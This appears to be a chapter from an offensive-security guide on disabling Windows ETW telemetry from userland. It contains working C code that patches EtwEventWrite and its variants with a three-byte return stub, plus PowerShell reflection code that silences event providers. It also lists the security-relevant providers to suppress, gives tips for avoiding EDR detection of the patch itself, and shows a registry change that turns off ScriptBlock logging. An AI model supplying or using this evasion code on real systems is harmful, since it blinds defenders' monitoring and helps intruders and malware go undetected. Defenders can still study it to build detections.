ETW Bypass — Userland
Event Tracing for Windows (ETW) is the telemetry backbone behind most SIEM detections on Windows. When your implant calls VirtualAlloc, spawns a thread, or loads a DLL, ETW providers inside those libraries emit events — which Windows Defender for Endpoint, Elastic, Splunk, and dozens of other products consume in real time. The userland ETW stack runs through a single function: EtwEventWrite in ntdll.dll. Like AMSI, it's in your process's memory. Patch it, and the events stop at the source. This chapter covers the two-byte patch, per-session disabling, and the hard boundary where userland ETW bypasses stop working.
How ETW Works in Userland
Your implant calls VirtualAllocEx():
─────────────────────────────────────────────────────────────────────────
VirtualAllocEx() [kernel32.dll / KernelBase.dll]
│
└─ NtAllocateVirtualMemory() [ntdll.dll — syscall to kernel]
│
├─ actual allocation in kernel
│
└─ (on return) EtwEventWrite() called by CLR/runtime/EDR hooks
│
└─ ntdll!EtwEventWrite()
│
├─ looks up registered ETW provider handles
│ (NtAllocateVirtualMemory has a provider GUID)
│
└─ NtTraceEvent() syscall → kernel ETW buffer
│
└─ collected by:
- Windows Event Log Service
- EDR kernel drivers (via ETW consumers)
- Microsoft-Windows-Threat-Intelligence (ETW-TI)
- WPT (Windows Performance Toolkit) for debugging
Where userland ETW bypass works:
─────────────────────────────────────────────────────────────────────────
Patching EtwEventWrite → events never reach NtTraceEvent
The kernel never sees them → EDR consumers receive nothing
What it does NOT bypass:
─────────────────────────────────────────────────────────────────────────
ETW-TI (Threat Intelligence):
The kernel itself emits ETW events directly for sensitive operations
(e.g., NtAllocateVirtualMemory with certain flags, code injection markers)
These are emitted by ntoskrnl.exe, NOT by your process
Patching userland EtwEventWrite has zero effect on ETW-TI
(Chapter 47 covers ETW-TI specifically)
ETW flow summary:
Userland ETW → patchable from userland → defeats log-based detections
ETW-TI → kernel-emitted → NOT patchable from userlandPatching EtwEventWrite
/* etw_bypass.c — Patch EtwEventWrite to return immediately
EtwEventWrite in ntdll.dll:
ULONG EtwEventWrite(
REGHANDLE RegHandle,
PCEVENT_DESCRIPTOR EventDescriptor,
ULONG UserDataCount,
PEVENT_DATA_DESCRIPTOR UserData
);
The function starts with the standard x64 prologue — we overwrite it
with 'xor eax, eax; ret' to return ERROR_SUCCESS (0) immediately.
All events written via this function silently fail.
Two bytes: C3 (ret) is enough if we don't care about the return value.
Three bytes: 31 C0 C3 (xor eax,eax; ret) returns ERROR_SUCCESS explicitly.
*/
#include <windows.h>
#include <stdio.h>
BOOL etw_patch_etwwrite(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return FALSE;
/* EtwEventWrite is the main userland write path */
PVOID fn = GetProcAddress(hNtdll, "EtwEventWrite");
if (!fn) { printf("[-] EtwEventWrite not found\n"); return FALSE; }
printf("[+] EtwEventWrite at %p\n", fn);
printf("[+] Original bytes: ");
for (int i = 0; i < 6; i++) printf("%02X ", ((PBYTE)fn)[i]);
printf("\n");
/* Three-byte patch: xor eax, eax; ret */
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
DWORD old;
if (!VirtualProtect(fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old)) {
printf("[-] VirtualProtect failed\n");
return FALSE;
}
memcpy(fn, patch, sizeof(patch));
VirtualProtect(fn, sizeof(patch), old, &old);
printf("[+] EtwEventWrite patched — ETW silent for this process\n");
return TRUE;
}
/* ── Also patch EtwEventWriteFull and EtwEventWriteEx ─────────────── */
/*
* Some providers call EtwEventWriteFull or EtwEventWriteEx instead of
* EtwEventWrite. Patch all three to ensure complete silence.
* EtwEventWriteString covers string-based event writes (older providers).
*/
BOOL etw_patch_all_variants(void) {
const char *targets[] = {
"EtwEventWrite",
"EtwEventWriteFull",
"EtwEventWriteEx",
"EtwEventWriteString",
NULL
};
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
BOOL any_ok = FALSE;
for (int i = 0; targets[i]; i++) {
PVOID fn = GetProcAddress(hNtdll, targets[i]);
if (!fn) { printf("[~] %s not found (skip)\n", targets[i]); continue; }
DWORD old;
VirtualProtect(fn, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
memcpy(fn, patch, sizeof(patch));
VirtualProtect(fn, sizeof(patch), old, &old);
printf("[+] Patched %s at %p\n", targets[i], fn);
any_ok = TRUE;
}
return any_ok;
}
Per-Session ETW Disabling
/* ── Per-session ETW disabling via provider GUID manipulation ─────── */
/*
* A less invasive approach: instead of patching EtwEventWrite globally,
* disable specific ETW providers for your process session.
*
* ETW provider enablement is stored in a TRACE_ENABLE_INFO structure
* accessible via the provider's REGHANDLE (returned by EventRegister).
*
* EventRegister returns a REGHANDLE that references an internal
* EtwRegistration structure in ntdll's ETW subsystem.
* Setting the EnableLevel field to 0 in this structure disables the provider.
*
* Limitations:
* - Requires finding the registration structures in memory (undocumented)
* - Patching EtwEventWrite is simpler and equally effective
* - Shown here as an alternative for more targeted disabling
*
* Targeted approach: disable ONLY the Microsoft-Windows-DotNETRuntime provider
* (GUID: {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4})
* This stops .NET CLR events (method JIT, assembly load) from appearing
* in the event log without patching ALL ETW events.
*/
typedef ULONG (WINAPI *EventUnregisterFn)(REGHANDLE RegHandle);
typedef ULONG (WINAPI *EventRegisterFn)(
LPCGUID ProviderId, PENABLECALLBACK EnableCallback,
PVOID CallbackContext, PREGHANDLE RegHandle);
BOOL etw_disable_dotnet_provider(void) {
/* Register the .NET CLR provider ourselves just to get a handle,
then immediately unregister it — but this doesn't prevent the
CLR from re-registering. Better: zero out the enabled flag. */
HMODULE hAdvApi = GetModuleHandleA("advapi32.dll");
EventUnregisterFn EventUnregister_fn =
(EventUnregisterFn)GetProcAddress(hAdvApi, "EventUnregister");
/* The CLR registers providers during startup.
The registrations are kept in an internal linked list in ntdll.
Walk the list, find matching GUIDs, clear their enable flag.
In practice: patching EtwEventWrite (3 bytes) is simpler, safer,
and catches everything. The per-provider approach is useful when
you need to keep some ETW working (e.g., for your own diagnostic
logging) while suppressing specific security-sensitive providers. */
printf("[~] Per-provider disabling requires internal structure walk.\n");
printf("[~] EtwEventWrite patch (3 bytes) is the practical choice.\n");
return FALSE; /* left as an exercise in the advanced section */
}
High-Value ETW Providers to Suppress
Provider Name GUID (abbreviated) Events emitted
─────────────────────────────────────────────────────────────────────────────────
Microsoft-Windows-DotNETRuntime {E13C0D23...} CLR method JIT,
assembly load,
GC events
→ catches all
.NET-based loaders
Microsoft-Windows-PowerShell {A0C1853B...} Script block logging,
command execution,
module load
→ catches PS implants
Microsoft-Windows-Kernel-Process {22FB2CD6...} Process/thread create,
image load
→ catches CreateProcess
Microsoft-Windows-Kernel-Registry {70EB4F03...} Registry key operations
→ catches persistence
Microsoft-Windows-Kernel-File {EDD08927...} File create/write
→ catches dropper writes
Microsoft-Antimalware-Scan-Interface {2A576B87...} AMSI scan requests and
results
→ catches AMSI scanning
What patching EtwEventWrite suppresses:
─────────────────────────────────────────────────────────────────────────────────
All of the above, simultaneously, for your process.
The patch is three bytes. It silences every ETW write path through ntdll.
What it does NOT suppress:
─────────────────────────────────────────────────────────────────────────────────
ETW-TI (Threat Intelligence) events — these are emitted by the kernel,
not by ntdll in your process. See Chapter 47 for why ETW-TI is a different class.
Defender's security center events — written via COM, not EtwEventWrite.
Windows Event Log entries via ReportEvent — different API, different path.ETW Bypass from PowerShell
# ── PowerShell one-liner ETW patch ───────────────────────────────────────
# Same technique as AMSI bypass — reflection to patch EtwEventWrite in-process.
# Works from within a PowerShell session (the session running YOUR script).
$EtwEventWrite = [System.Diagnostics.Eventing.EventProvider].GetField(
'm_enabled', 'NonPublic,Instance')
# Approach A: Null out the field that controls if events are written
# (Stops PS runtime's EventProvider from emitting events)
# Works in PS 5.x:
$providers = [System.Diagnostics.Eventing.EventProvider].GetField(
's_providers', 'NonPublic,Static').GetValue($null)
if ($providers) {
foreach ($p in $providers.Values) {
$p.GetType().GetField('m_enabled', 'NonPublic,Instance').SetValue($p, 0)
}
}
# Approach B: Direct memory patch via P/Invoke (works in all PS versions)
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class EtwPatch {
[DllImport("kernel32")] static extern bool VirtualProtect(
IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);
public static void Patch() {
var ntdll = System.Diagnostics.Process.GetCurrentProcess()
.Modules.Cast<System.Diagnostics.ProcessModule>()
.First(m => m.ModuleName == "ntdll.dll");
// GetProcAddress equivalent via reflection not shown (requires P/Invoke)
// In practice: use Marshal.GetDelegateForFunctionPointer pattern
}
}
"@
# (The P/Invoke approach is functionally identical to the C patch above)
Questions & Answers
If EtwEventWrite is patched, can EDRs detect the patch itself?
Yes — some EDRs hook EtwEventWrite and additionally run periodic integrity checks on ntdll's code pages using a shadow copy (read from disk or a clean process), similar to the ntdll unhooking defense in reverse. If the first 3 bytes of EtwEventWrite change to 31 C0 C3, an EDR doing periodic memory integrity scanning will detect the modification. More practically: when your process calls VirtualProtect on a range covering ntdll!EtwEventWrite, that VirtualProtect call is itself an EDR-monitored event. The EDR sees "process X made ntdll code page writable and then wrote to it" — a high-confidence signal that a patch happened. Mitigation: use NtProtectVirtualMemory directly (to bypass the VirtualProtect hook) and consider the patch timing carefully relative to EDR process startup.
What's the difference between ETW provider registration and ETW session enabling?
Provider registration is what your application does: it calls EventRegister() with a GUID to declare "I am this provider, I'll emit events." This is a one-time operation. Session enabling is what a consumer (like Windows Event Log or an EDR) does: it calls EnableTraceEx2() targeting a specific provider GUID and a specific logging session. The provider only emits events when it's enabled by at least one active session. EtwEventWrite checks the enabled state before writing — if no session is consuming a provider, EtwEventWrite returns immediately without doing anything. This is why some researchers argue you don't need to patch EtwEventWrite at all: if you can sever the consumer sessions, events are discarded automatically. But consumer sessions run in different, privileged processes — you can't disconnect them from userland. Patching EtwEventWrite is the userland-accessible bypass.
Does patching EtwEventWrite affect all ETW providers or only some?
It affects all userland ETW providers registered in your process — all providers that call EtwEventWrite (or its variants) to write events. Since EtwEventWrite is the single dispatch function in ntdll that all provider SDKs (WPP, Modern ETW, CLR) ultimately call, patching it silences everything that goes through ntdll. The only exception is providers that bypass ntdll and call NtTraceEvent directly — which is uncommon but possible. In practice, the three-byte patch silences the vast majority of userland telemetry. What remains: kernel-emitted ETW events (ETW-TI, process creation events from ntoskrnl), and events written by other processes that are monitoring your process externally (e.g., an EDR reading your process memory directly).
Why target ntdll's EtwEventWrite rather than patching in kernel32 or other DLLs?
Because EtwEventWrite in ntdll is the single convergence point for all userland ETW. The call graph flows: any provider (CLR, WPP, Crimson) → their local SDK wrapper → ntdll!EtwEventWrite → ntdll!NtTraceEvent (syscall). If you patched at the SDK layer (e.g., in the CLR or in a specific provider's DLL), you'd only silence that one provider. Patching ntdll's implementation patches the shared code path that every provider uses. It's the same principle as patching ntdll!NtAllocateVirtualMemory rather than kernel32!VirtualAlloc — go to the lowest common layer, and you intercept everything above it simultaneously.
How does Microsoft PowerShell 7's ScriptBlock logging interact with ETW bypass?
PowerShell's ScriptBlock logging has two paths: the ETW path (emitting to Microsoft-Windows-PowerShell provider via EtwEventWrite) and the Windows Event Log path (writing to the PowerShell operational log via the Event Log service). Patching EtwEventWrite kills the ETW path, but the Event Log path goes through a different mechanism (COM-based, WriteEventLog API) and survives the patch. To kill both: patch EtwEventWrite AND disable ScriptBlock logging via the registry (HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging EnableScriptBlockLogging=0). However, writing to the registry is itself a logged event. The cleanest approach: patch EtwEventWrite (kills real-time SIEM feeds), and don't worry about the Event Log — an attacker who can modify the registry post-compromise has bigger fish to fry than PS log entries.